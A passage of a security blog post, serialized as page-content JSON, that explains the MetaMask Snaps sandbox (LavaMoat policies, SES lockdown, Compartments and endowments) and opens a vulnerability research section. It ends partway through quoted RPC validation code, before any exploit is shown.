\"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":141,"props":35692,"children":35693},{"style":154},[35694],{"type":29,"value":14008},{"type":23,"tag":141,"props":35696,"children":35697},{"style":449},[35698],{"type":29,"value":2670},{"type":23,"tag":141,"props":35700,"children":35701},{"style":154},[35702],{"type":29,"value":2168},{"type":23,"tag":141,"props":35704,"children":35705},{"class":143,"line":848},[35706,35711,35715],{"type":23,"tag":141,"props":35707,"children":35708},{"style":750},[35709],{"type":29,"value":35710}," \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":141,"props":35712,"children":35713},{"style":154},[35714],{"type":29,"value":14008},{"type":23,"tag":141,"props":35716,"children":35717},{"style":449},[35718],{"type":29,"value":35662},{"type":23,"tag":141,"props":35720,"children":35721},{"class":143,"line":2304},[35722],{"type":23,"tag":141,"props":35723,"children":35724},{"style":154},[35725],{"type":29,"value":11343},{"type":23,"tag":141,"props":35727,"children":35728},{"class":143,"line":2313},[35729],{"type":23,"tag":141,"props":35730,"children":35731},{"style":154},[35732],{"type":29,"value":299},{"type":23,"tag":32,"props":35734,"children":35735},{},[35736,35738,35744,35746,35752,35754,35760,35762,35768,35769,35775],{"type":29,"value":35737},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":38,"props":35739,"children":35741},{"className":35740},[],[35742],{"type":29,"value":35743},"globals",{"type":29,"value":35745}," section, is the ",{"type":23,"tag":38,"props":35747,"children":35749},{"className":35748},[],[35750],{"type":29,"value":35751},"packages",{"type":29,"value":35753}," segment. This section permits the ",{"type":23,"tag":38,"props":35755,"children":35757},{"className":35756},[],[35758],{"type":29,"value":35759},"@metamask/post-message-stream",{"type":29,"value":35761},"package to exclusively interact with the package ",{"type":23,"tag":38,"props":35763,"children":35765},{"className":35764},[],[35766],{"type":29,"value":35767},"@metamask/utils",{"type":29,"value":313},{"type":23,"tag":38,"props":35770,"children":35772},{"className":35771},[],[35773],{"type":29,"value":35774},"readable-stream",{"type":29,"value":35776},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":32,"props":35778,"children":35779},{},[35780,35782,35788],{"type":29,"value":35781},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":38,"props":35783,"children":35785},{"className":35784},[],[35786],{"type":29,"value":35787},"lockdown",{"type":29,"value":35789}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":8287,"props":35791,"children":35793},{"id":35792},"secure-ecmascript-ses-sandbox-layer-3",[35794],{"type":29,"value":35795},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":32,"props":35797,"children":35798},{},[35799,35801,35808],{"type":29,"value":35800},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":55,"props":35802,"children":35805},{"href":35803,"rel":35804},"https://github.com/endojs/endo/tree/master/packages/ses",[59],[35806],{"type":29,"value":35807},"Secure EcmaScript (SES)",{"type":29,"value":35809}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":17563,"props":35811,"children":35813},{"id":35812},"ses-fundamentals",[35814],{"type":29,"value":35815},"SES Fundamentals",{"type":23,"tag":35817,"props":35818,"children":35819},"h5",{"id":35787},[35820],{"type":29,"value":35821},"Lockdown",{"type":23,"tag":32,"props":35823,"children":35824},{},[35825,35827,35833],{"type":29,"value":35826},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":38,"props":35828,"children":35830},{"className":35829},[],[35831],{"type":29,"value":35832},"lockdown()",{"type":29,"value":35834}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":116,"props":35836,"children":35837},{},[35838,35851],{"type":23,"tag":120,"props":35839,"children":35840},{},[35841,35843,35849],{"type":29,"value":35842},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":38,"props":35844,"children":35846},{"className":35845},[],[35847],{"type":29,"value":35848},"Object.freeze",{"type":29,"value":35850}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":120,"props":35852,"children":35853},{},[35854,35856,35862,35864,35870],{"type":29,"value":35855},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":38,"props":35857,"children":35859},{"className":35858},[],[35860],{"type":29,"value":35861},"trace",{"type":29,"value":35863}," attribute in an ",{"type":23,"tag":38,"props":35865,"children":35867},{"className":35866},[],[35868],{"type":29,"value":35869},"Error",{"type":29,"value":35871}," object, which contains the stack trace of the error.",{"type":23,"tag":35817,"props":35873,"children":35875},{"id":35874},"compartment",[35876],{"type":29,"value":35877},"Compartment",{"type":23,"tag":32,"props":35879,"children":35880},{},[35881,35883,35889,35891,35896],{"type":29,"value":35882},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":38,"props":35884,"children":35886},{"className":35885},[],[35887],{"type":29,"value":35888},"globalThis",{"type":29,"value":35890}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":38,"props":35892,"children":35894},{"className":35893},[],[35895],{"type":29,"value":35888},{"type":29,"value":35897}," context is incapable of tampering with security.",{"type":23,"tag":131,"props":35899,"children":35901},{"className":34084,"code":35900,"language":34086,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[35902],{"type":23,"tag":38,"props":35903,"children":35904},{"__ignoreMap":7},[35905,35934,35967],{"type":23,"tag":141,"props":35906,"children":35907},{"class":143,"line":144},[35908,35912,35917,35921,35925,35930],{"type":23,"tag":141,"props":35909,"children":35910},{"style":449},[35911],{"type":29,"value":8334},{"type":23,"tag":141,"props":35913,"children":35914},{"style":750},[35915],{"type":29,"value":35916}," c",{"type":23,"tag":141,"props":35918,"children":35919},{"style":160},[35920],{"type":29,"value":1674},{"type":23,"tag":141,"props":35922,"children":35923},{"style":449},[35924],{"type":29,"value":30401},{"type":23,"tag":141,"props":35926,"children":35927},{"style":184},[35928],{"type":29,"value":35929}," Compartment",{"type":23,"tag":141,"props":35931,"children":35932},{"style":154},[35933],{"type":29,"value":1305},{"type":23,"tag":141,"props":35935,"children":35936},{"class":143,"line":180},[35937,35941,35945,35949,35953,35958,35962],{"type":23,"tag":141,"props":35938,"children":35939},{"style":750},[35940],{"type":29,"value":1807},{"type":23,"tag":141,"props":35942,"children":35943},{"style":154},[35944],{"type":29,"value":322},{"type":23,"tag":141,"props":35946,"children":35947},{"style":750},[35948],{"type":29,"value":35888},{"type":23,"tag":141,"props":35950,"children":35951},{"style":160},[35952],{"type":29,"value":29890},{"type":23,"tag":141,"props":35954,"children":35955},{"style":750},[35956],{"type":29,"value":35957}," globalThis",{"type":23,"tag":141,"props":35959,"children":35960},{"style":154},[35961],{"type":29,"value":15903},{"type":23,"tag":141,"props":35963,"children":35964},{"style":443},[35965],{"type":29,"value":35966},"// false\n",{"type":23,"tag":141,"props":35968,"children":35969},{"class":143,"line":205},[35970,35974,35978,35982,35986,35991,35995,36000,36004],{"type":23,"tag":141,"props":35971,"children":35972},{"style":750},[35973],{"type":29,"value":1807},{"type":23,"tag":141,"props":35975,"children":35976},{"style":154},[35977],{"type":29,"value":322},{"type":23,"tag":141,"props":35979,"children":35980},{"style":750},[35981],{"type":29,"value":35888},{"type":23,"tag":141,"props":35983,"children":35984},{"style":154},[35985],{"type":29,"value":322},{"type":23,"tag":141,"props":35987,"children":35988},{"style":750},[35989],{"type":29,"value":35990},"JSON",{"type":23,"tag":141,"props":35992,"children":35993},{"style":160},[35994],{"type":29,"value":29890},{"type":23,"tag":141,"props":35996,"children":35997},{"style":750},[35998],{"type":29,"value":35999}," JSON",{"type":23,"tag":141,"props":36001,"children":36002},{"style":154},[36003],{"type":29,"value":15903},{"type":23,"tag":141,"props":36005,"children":36006},{"style":443},[36007],{"type":29,"value":36008},"// true\n",{"type":23,"tag":32,"props":36010,"children":36011},{},[36012,36014,36020,36022,36028,36030,36035],{"type":29,"value":36013},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":38,"props":36015,"children":36017},{"className":36016},[],[36018],{"type":29,"value":36019},"eval",{"type":29,"value":36021}," and the ",{"type":23,"tag":38,"props":36023,"children":36025},{"className":36024},[],[36026],{"type":29,"value":36027},"Function",{"type":29,"value":36029}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":38,"props":36031,"children":36033},{"className":36032},[],[36034],{"type":29,"value":35888},{"type":29,"value":322},{"type":23,"tag":35817,"props":36037,"children":36039},{"id":36038},"endowments",[36040],{"type":29,"value":36041},"Endowments",{"type":23,"tag":32,"props":36043,"children":36044},{},[36045,36047,36051,36053,36058],{"type":29,"value":36046},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":47,"props":36048,"children":36049},{},[36050],{"type":29,"value":36038},{"type":29,"value":36052},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":38,"props":36054,"children":36056},{"className":36055},[],[36057],{"type":29,"value":35888},{"type":29,"value":36059},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":32,"props":36061,"children":36062},{},[36063,36065,36071],{"type":29,"value":36064},"In addition, SES provides the ",{"type":23,"tag":38,"props":36066,"children":36068},{"className":36067},[],[36069],{"type":29,"value":36070},"harden()",{"type":29,"value":36072}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":17563,"props":36074,"children":36076},{"id":36075},"setting-up-snaps-execution-env",[36077],{"type":29,"value":36078},"Setting up Snaps Execution Env",{"type":23,"tag":32,"props":36080,"children":36081},{},[36082],{"type":29,"value":36083},"When starting a snap, the setup follows these steps:",{"type":23,"tag":116,"props":36085,"children":36086},{},[36087],{"type":23,"tag":120,"props":36088,"children":36089},{},[36090],{"type":23,"tag":3998,"props":36091,"children":36092},{},[36093,36095],{"type":29,"value":36094},"Create endowments based on snap ",{"type":23,"tag":55,"props":36096,"children":36099},{"href":36097,"rel":36098},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[59],[36100],{"type":29,"value":36101},"permissions",{"type":23,"tag":131,"props":36103,"children":36105},{"className":34084,"code":36104,"language":34086,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[36106],{"type":23,"tag":38,"props":36107,"children":36108},{"__ignoreMap":7},[36109,36159,36171,36182,36194,36206],{"type":23,"tag":141,"props":36110,"children":36111},{"class":143,"line":144},[36112,36116,36120,36124,36128,36133,36137,36142,36146,36150,36155],{"type":23,"tag":141,"props":36113,"children":36114},{"style":449},[36115],{"type":29,"value":8334},{"type":23,"tag":141,"props":36117,"children":36118},{"style":154},[36119],{"type":29,"value":8264},{"type":23,"tag":141,"props":36121,"children":36122},{"style":750},[36123],{"type":29,"value":36038},{"type":23,"tag":141,"props":36125,"children":36126},{"style":154},[36127],{"type":29,"value":480},{"type":23,"tag":141,"props":36129,"children":36130},{"style":750},[36131],{"type":29,"value":36132},"teardown",{"type":23,"tag":141,"props":36134,"children":36135},{"style":154},[36136],{"type":29,"value":14008},{"type":23,"tag":141,"props":36138,"children":36139},{"style":750},[36140],{"type":29,"value":36141},"endowmentTeardown",{"type":23,"tag":141,"props":36143,"children":36144},{"style":154},[36145],{"type":29,"value":34673},{"type":23,"tag":141,"props":36147,"children":36148},{"style":160},[36149],{"type":29,"value":1377},{"type":23,"tag":141,"props":36151,"children":36152},{"style":184},[36153],{"type":29,"value":36154}," createEndowments",{"type":23,"tag":141,"props":36156,"children":36157},{"style":154},[36158],{"type":29,"value":2123},{"type":23,"tag":141,"props":36160,"children":36161},{"class":143,"line":180},[36162,36167],{"type":23,"tag":141,"props":36163,"children":36164},{"style":750},[36165],{"type":29,"value":36166}," snap",{"type":23,"tag":141,"props":36168,"children":36169},{"style":154},[36170],{"type":29,"value":2168},{"type":23,"tag":141,"props":36172,"children":36173},{"class":143,"line":205},[36174,36178],{"type":23,"tag":141,"props":36175,"children":36176},{"style":750},[36177],{"type":29,"value":29952},{"type":23,"tag":141,"props":36179,"children":36180},{"style":154},[36181],{"type":29,"value":2168},{"type":23,"tag":141,"props":36183,"children":36184},{"class":143,"line":218},[36185,36190],{"type":23,"tag":141,"props":36186,"children":36187},{"style":750},[36188],{"type":29,"value":36189}," snapId",{"type":23,"tag":141,"props":36191,"children":36192},{"style":154},[36193],{"type":29,"value":2168},{"type":23,"tag":141,"props":36195,"children":36196},{"class":143,"line":227},[36197,36202],{"type":23,"tag":141,"props":36198,"children":36199},{"style":750},[36200],{"type":29,"value":36201}," _endowments",{"type":23,"tag":141,"props":36203,"children":36204},{"style":154},[36205],{"type":29,"value":2168},{"type":23,"tag":141,"props":36207,"children":36208},{"class":143,"line":241},[36209],{"type":23,"tag":141,"props":36210,"children":36211},{"style":154},[36212],{"type":29,"value":2496},{"type":23,"tag":32,"props":36214,"children":36215},{},[36216],{"type":29,"value":36217},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":32,"props":36219,"children":36220},{},[36221,36223,36229,36231,36237],{"type":29,"value":36222},"One clear example is the ",{"type":23,"tag":38,"props":36224,"children":36226},{"className":36225},[],[36227],{"type":29,"value":36228},"endowment:network-access",{"type":29,"value":36230}," permission, that adds the ",{"type":23,"tag":38,"props":36232,"children":36234},{"className":36233},[],[36235],{"type":29,"value":36236},"fetch()",{"type":29,"value":36238}," function to the endowments.",{"type":23,"tag":32,"props":36240,"children":36241},{},[36242,36244,36250],{"type":29,"value":36243},"All endowments are protected with the ",{"type":23,"tag":38,"props":36245,"children":36247},{"className":36246},[],[36248],{"type":29,"value":36249},"harden",{"type":29,"value":36251}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":116,"props":36253,"children":36254},{"start":180},[36255],{"type":23,"tag":120,"props":36256,"children":36257},{},[36258],{"type":23,"tag":3998,"props":36259,"children":36260},{},[36261,36263],{"type":29,"value":36262},"Create the snap ",{"type":23,"tag":55,"props":36264,"children":36267},{"href":36265,"rel":36266},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[59],[36268],{"type":29,"value":35874},{"type":23,"tag":131,"props":36270,"children":36272},{"className":34084,"code":36271,"language":34086,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[36273],{"type":23,"tag":38,"props":36274,"children":36275},{"__ignoreMap":7},[36276,36304,36320,36337,36362],{"type":23,"tag":141,"props":36277,"children":36278},{"class":143,"line":144},[36279,36283,36288,36292,36296,36300],{"type":23,"tag":141,"props":36280,"children":36281},{"style":449},[36282],{"type":29,"value":8334},{"type":23,"tag":141,"props":36284,"children":36285},{"style":750},[36286],{"type":29,"value":36287}," compartment",{"type":23,"tag":141,"props":36289,"children":36290},{"style":160},[36291],{"type":29,"value":1674},{"type":23,"tag":141,"props":36293,"children":36294},{"style":449},[36295],{"type":29,"value":30401},{"type":23,"tag":141,"props":36297,"children":36298},{"style":184},[36299],{"type":29,"value":35929},{"type":23,"tag":141,"props":36301,"children":36302},{"style":154},[36303],{"type":29,"value":13817},{"type":23,"tag":141,"props":36305,"children":36306},{"class":143,"line":180},[36307,36312,36316],{"type":23,"tag":141,"props":36308,"children":36309},{"style":160},[36310],{"type":29,"value":36311}," ...",{"type":23,"tag":141,"props":36313,"children":36314},{"style":750},[36315],{"type":29,"value":36038},{"type":23,"tag":141,"props":36317,"children":36318},{"style":154},[36319],{"type":29,"value":2168},{"type":23,"tag":141,"props":36321,"children":36322},{"class":143,"line":205},[36323,36328,36333],{"type":23,"tag":141,"props":36324,"children":36325},{"style":750},[36326],{"type":29,"value":36327}," module:",{"type":23,"tag":141,"props":36329,"children":36330},{"style":750},[36331],{"type":29,"value":36332}," snapModule",{"type":23,"tag":141,"props":36334,"children":36335},{"style":154},[36336],{"type":29,"value":2168},{"type":23,"tag":141,"props":36338,"children":36339},{"class":143,"line":218},[36340,36345,36349,36353,36358],{"type":23,"tag":141,"props":36341,"children":36342},{"style":750},[36343],{"type":29,"value":36344}," exports:",{"type":23,"tag":141,"props":36346,"children":36347},{"style":750},[36348],{"type":29,"value":36332},{"type":23,"tag":141,"props":36350,"children":36351},{"style":154},[36352],{"type":29,"value":322},{"type":23,"tag":141,"props":36354,"children":36355},{"style":750},[36356],{"type":29,"value":36357},"exports",{"type":23,"tag":141,"props":36359,"children":36360},{"style":154},[36361],{"type":29,"value":2168},{"type":23,"tag":141,"props":36363,"children":36364},{"class":143,"line":227},[36365],{"type":23,"tag":141,"props":36366,"children":36367},{"style":154},[36368],{"type":29,"value":33808},{"type":23,"tag":32,"props":36370,"children":36371},{},[36372,36374,36380,36381,36386,36388,36393],{"type":29,"value":36373},"Note: ",{"type":23,"tag":38,"props":36375,"children":36377},{"className":36376},[],[36378],{"type":29,"value":36379},"module",{"type":29,"value":313},{"type":23,"tag":38,"props":36382,"children":36384},{"className":36383},[],[36385],{"type":29,"value":36357},{"type":29,"value":36387}," are passed as endowments, but without being ",{"type":23,"tag":47,"props":36389,"children":36390},{},[36391],{"type":29,"value":36392},"hardened",{"type":29,"value":36394},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":116,"props":36396,"children":36397},{"start":205},[36398],{"type":23,"tag":120,"props":36399,"children":36400},{},[36401],{"type":23,"tag":3998,"props":36402,"children":36403},{},[36404,36406],{"type":29,"value":36405},"Evaluate the snap code inside the ",{"type":23,"tag":55,"props":36407,"children":36410},{"href":36408,"rel":36409},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[59],[36411],{"type":29,"value":35874},{"type":23,"tag":131,"props":36413,"children":36415},{"className":34084,"code":36414,"language":34086,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[36416],{"type":23,"tag":38,"props":36417,"children":36418},{"__ignoreMap":7},[36419,36460,36490,36527],{"type":23,"tag":141,"props":36420,"children":36421},{"class":143,"line":144},[36422,36426,36430,36434,36439,36443,36447,36452,36456],{"type":23,"tag":141,"props":36423,"children":36424},{"style":148},[36425],{"type":29,"value":31385},{"type":23,"tag":141,"props":36427,"children":36428},{"style":449},[36429],{"type":29,"value":34187},{"type":23,"tag":141,"props":36431,"children":36432},{"style":154},[36433],{"type":29,"value":322},{"type":23,"tag":141,"props":36435,"children":36436},{"style":184},[36437],{"type":29,"value":36438},"executeInSnapContext",{"type":23,"tag":141,"props":36440,"children":36441},{"style":154},[36442],{"type":29,"value":192},{"type":23,"tag":141,"props":36444,"children":36445},{"style":750},[36446],{"type":29,"value":34491},{"type":23,"tag":141,"props":36448,"children":36449},{"style":154},[36450],{"type":29,"value":36451},", () ",{"type":23,"tag":141,"props":36453,"children":36454},{"style":449},[36455],{"type":29,"value":13498},{"type":23,"tag":141,"props":36457,"children":36458},{"style":154},[36459],{"type":29,"value":1951},{"type":23,"tag":141,"props":36461,"children":36462},{"class":143,"line":180},[36463,36468,36472,36477,36481,36486],{"type":23,"tag":141,"props":36464,"children":36465},{"style":750},[36466],{"type":29,"value":36467}," compartment",{"type":23,"tag":141,"props":36469,"children":36470},{"style":154},[36471],{"type":29,"value":322},{"type":23,"tag":141,"props":36473,"children":36474},{"style":184},[36475],{"type":29,"value":36476},"evaluate",{"type":23,"tag":141,"props":36478,"children":36479},{"style":154},[36480],{"type":29,"value":192},{"type":23,"tag":141,"props":36482,"children":36483},{"style":750},[36484],{"type":29,"value":36485},"sourceCode",{"type":23,"tag":141,"props":36487,"children":36488},{"style":154},[36489],{"type":29,"value":2496},{"type":23,"tag":141,"props":36491,"children":36492},{"class":143,"line":205},[36493,36497,36501,36506,36510,36514,36518,36523],{"type":23,"tag":141,"props":36494,"children":36495},{"style":449},[36496],{"type":29,"value":34535},{"type":23,"tag":141,"props":36498,"children":36499},{"style":154},[36500],{"type":29,"value":322},{"type":23,"tag":141,"props":36502,"children":36503},{"style":184},[36504],{"type":29,"value":36505},"registerSnapExports",{"type":23,"tag":141,"props":36507,"children":36508},{"style":154},[36509],{"type":29,"value":192},{"type":23,"tag":141,"props":36511,"children":36512},{"style":750},[36513],{"type":29,"value":34491},{"type":23,"tag":141,"props":36515,"children":36516},{"style":154},[36517],{"type":29,"value":480},{"type":23,"tag":141,"props":36519,"children":36520},{"style":750},[36521],{"type":29,"value":36522},"snapModule",{"type":23,"tag":141,"props":36524,"children":36525},{"style":154},[36526],{"type":29,"value":2496},{"type":23,"tag":141,"props":36528,"children":36529},{"class":143,"line":218},[36530],{"type":23,"tag":141,"props":36531,"children":36532},{"style":154},[36533],{"type":29,"value":33808},{"type":23,"tag":32,"props":36535,"children":36536},{},[36537,36539,36545,36546,36552,36553,36559],{"type":29,"value":36538},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":38,"props":36540,"children":36542},{"className":36541},[],[36543],{"type":29,"value":36544},"onRpcRequest",{"type":29,"value":480},{"type":23,"tag":38,"props":36547,"children":36549},{"className":36548},[],[36550],{"type":29,"value":36551},"onTransaction",{"type":29,"value":11812},{"type":23,"tag":38,"props":36554,"children":36556},{"className":36555},[],[36557],{"type":29,"value":36558},"onCronjob",{"type":29,"value":322},{"type":23,"tag":32,"props":36561,"children":36562},{},[36563,36565,36570],{"type":29,"value":36564},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":38,"props":36566,"children":36568},{"className":36567},[],[36569],{"type":29,"value":35888},{"type":29,"value":36571}," environment of that Compartment.",{"type":23,"tag":32,"props":36573,"children":36574},{},[36575],{"type":29,"value":36576},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":24,"props":36578,"children":36580},{"id":36579},"vulnerability-research",[36581],{"type":29,"value":36582},"Vulnerability research",{"type":23,"tag":8287,"props":36584,"children":36586},{"id":36585},"possible-attacks",[36587],{"type":29,"value":36588},"Possible attacks",{"type":23,"tag":32,"props":36590,"children":36591},{},[36592],{"type":29,"value":36593},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":15362,"props":36595,"children":36596},{},[36597,36602,36607,36612],{"type":23,"tag":120,"props":36598,"children":36599},{},[36600],{"type":29,"value":36601},"Broken SES Container isolation",{"type":23,"tag":120,"props":36603,"children":36604},{},[36605],{"type":29,"value":36606},"Insecure endowments in Containers",{"type":23,"tag":120,"props":36608,"children":36609},{},[36610],{"type":29,"value":36611},"Incorrect RPC permission checks",{"type":23,"tag":120,"props":36613,"children":36614},{},[36615],{"type":29,"value":36616},"Insecure snap installation/update",{"type":23,"tag":32,"props":36618,"children":36619},{},[36620],{"type":29,"value":36621},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":32,"props":36623,"children":36624},{},[36625],{"type":29,"value":36626},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":8287,"props":36628,"children":36630},{"id":36629},"rpc-interfaces-endowments",[36631],{"type":29,"value":36632},"RPC interfaces endowments",{"type":23,"tag":17563,"props":36634,"children":36636},{"id":36635},"providers-limitations",[36637],{"type":29,"value":36638},"Providers limitations",{"type":23,"tag":32,"props":36640,"children":36641},{},[36642,36644,36650,36651,36656,36658,36665],{"type":29,"value":36643},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":38,"props":36645,"children":36647},{"className":36646},[],[36648],{"type":29,"value":36649},"snap",{"type":29,"value":313},{"type":23,"tag":38,"props":36652,"children":36654},{"className":36653},[],[36655],{"type":29,"value":29885},{"type":29,"value":36657}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":55,"props":36659,"children":36662},{"href":36660,"rel":36661},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[59],[36663],{"type":29,"value":36664},"methods",{"type":29,"value":114},{"type":23,"tag":131,"props":36667,"children":36669},{"className":34084,"code":36668,"language":34086,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[36670],{"type":23,"tag":38,"props":36671,"children":36672},{"__ignoreMap":7},[36673,36713,36721,36733,36803,36864,36876,36884,36895,36935,36965,36977,37002,37009,37017,37024,37062],{"type":23,"tag":141,"props":36674,"children":36675},{"class":143,"line":144},[36676,36681,36686,36691,36695,36700,36704,36709],{"type":23,"tag":141,"props":36677,"children":36678},{"style":148},[36679],{"type":29,"value":36680},"export",{"type":23,"tag":141,"props":36682,"children":36683},{"style":449},[36684],{"type":29,"value":36685}," function",{"type":23,"tag":141,"props":36687,"children":36688},{"style":184},[36689],{"type":29,"value":36690}," assertSnapOutboundRequest",{"type":23,"tag":141,"props":36692,"children":36693},{"style":154},[36694],{"type":29,"value":192},{"type":23,"tag":141,"props":36696,"children":36697},{"style":750},[36698],{"type":29,"value":36699},"args",{"type":23,"tag":141,"props":36701,"children":36702},{"style":160},[36703],{"type":29,"value":114},{"type":23,"tag":141,"props":36705,"children":36706},{"style":725},[36707],{"type":29,"value":36708}," RequestArguments",{"type":23,"tag":141,"props":36710,"children":36711},{"style":154},[36712],{"type":29,"value":13480},{"type":23,"tag":141,"props":36714,"children":36715},{"class":143,"line":180},[36716],{"type":23,"tag":141,"props":36717,"children":36718},{"style":443},[36719],{"type":29,"value":36720}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":141,"props":36722,"children":36723},{"class":143,"line":205},[36724,36729],{"type":23,"tag":141,"props":36725,"children":36726},{"style":184},[36727],{"type":29,"value":36728}," assert",{"type":23,"tag":141,"props":36730,"children":36731},{"style":154},[36732],{"type":29,"value":2123},{"type":23,"tag":141,"props":36734,"children":36735},{"class":143,"line":218},[36736,36741,36745,36750,36754,36759,36763,36768,36772,36776,36780,36785,36789,36794,36798],{"type":23,"tag":141,"props":36737,"children":36738},{"style":725},[36739],{"type":29,"value":36740}," String",{"type":23,"tag":141,"props":36742,"children":36743},{"style":154},[36744],{"type":29,"value":322},{"type":23,"tag":141,"props":36746,"children":36747},{"style":750},[36748],{"type":29,"value":36749},"prototype",{"type":23,"tag":141,"props":36751,"children":36752},{"style":154},[36753],{"type":29,"value":322},{"type":23,"tag":141,"props":36755,"children":36756},{"style":750},[36757],{"type":29,"value":36758},"startsWith",{"type":23,"tag":141,"props":36760,"children":36761},{"style":154},[36762],{"type":29,"value":322},{"type":23,"tag":141,"props":36764,"children":36765},{"style":184},[36766],{"type":29,"value":36767},"call",{"type":23,"tag":141,"props":36769,"children":36770},{"style":154},[36771],{"type":29,"value":192},{"type":23,"tag":141,"props":36773,"children":36774},{"style":750},[36775],{"type":29,"value":36699},{"type":23,"tag":141,"props":36777,"children":36778},{"style":154},[36779],{"type":29,"value":322},{"type":23,"tag":141,"props":36781,"children":36782},{"style":750},[36783],{"type":29,"value":36784},"method",{"type":23,"tag":141,"props":36786,"children":36787},{"style":154},[36788],{"type":29,"value":480},{"type":23,"tag":141,"props":36790,"children":36791},{"style":828},[36792],{"type":29,"value":36793},"'wallet_'",{"type":23,"tag":141,"props":36795,"children":36796},{"style":154},[36797],{"type":29,"value":1748},{"type":23,"tag":141,"props":36799,"children":36800},{"style":160},[36801],{"type":29,"value":36802},"||\n",{"type":23,"tag":141,"props":36804,"children":36805},{"class":143,"line":227},[36806,36811,36815,36819,36823,36827,36831,36835,36839,36843,36847,36851,36855,36860],{"type":23,"tag":141,"props":36807,"children":36808},{"style":725},[36809],{"type":29,"value":36810}," String",{"type":23,"tag":141,"props":36812,"children":36813},{"style":154},[36814],{"type":29,"value":322},{"type":23,"tag":141,"props":36816,"children":36817},{"style":750},[36818],{"type":29,"value":36749},{"type":23,"tag":141,"props":36820,"children":36821},{"style":154},[36822],{"type":29,"value":322},{"type":23,"tag":141,"props":36824,"children":36825},{"style":750},[36826],{"type":29,"value":36758},{"type":23,"tag":141,"props":36828,"children":36829},{"style":154},[36830],{"type":29,"value":322},{"type":23,"tag":141,"props":36832,"children":36833},{"style":184},[36834],{"type":29,"value":36767},{"type":23,"tag":141,"props":36836,"children":36837},{"style":154},[36838],{"type":29,"value":192},{"type":23,"tag":141,"props":36840,"children":36841},{"style":750},[36842],{"type":29,"value":36699},{"type":23,"tag":141,"props":36844,"children":36845},{"style":154},[36846],{"type":29,"value":322},{"type":23,"tag":141,"props":36848,"children":36849},{"style":750},[36850],{"type":29,"value":36784},{"type":23,"tag":141,"props":36852,"children":36853},{"style":154},[36854],{"type":29,"value":480},{"type":23,"tag":141,"props":36856,"children":36857},{"style":828},[36858],{"type":29,"value":36859},"'snap_'",{"type":23,"tag":141,"props":36861,"children":36862},{"style":154},[36863],{"type":29,"value":5410},{"type":23,"tag":141,"props":36865,"children":36866},{"class":143,"line":241},[36867,36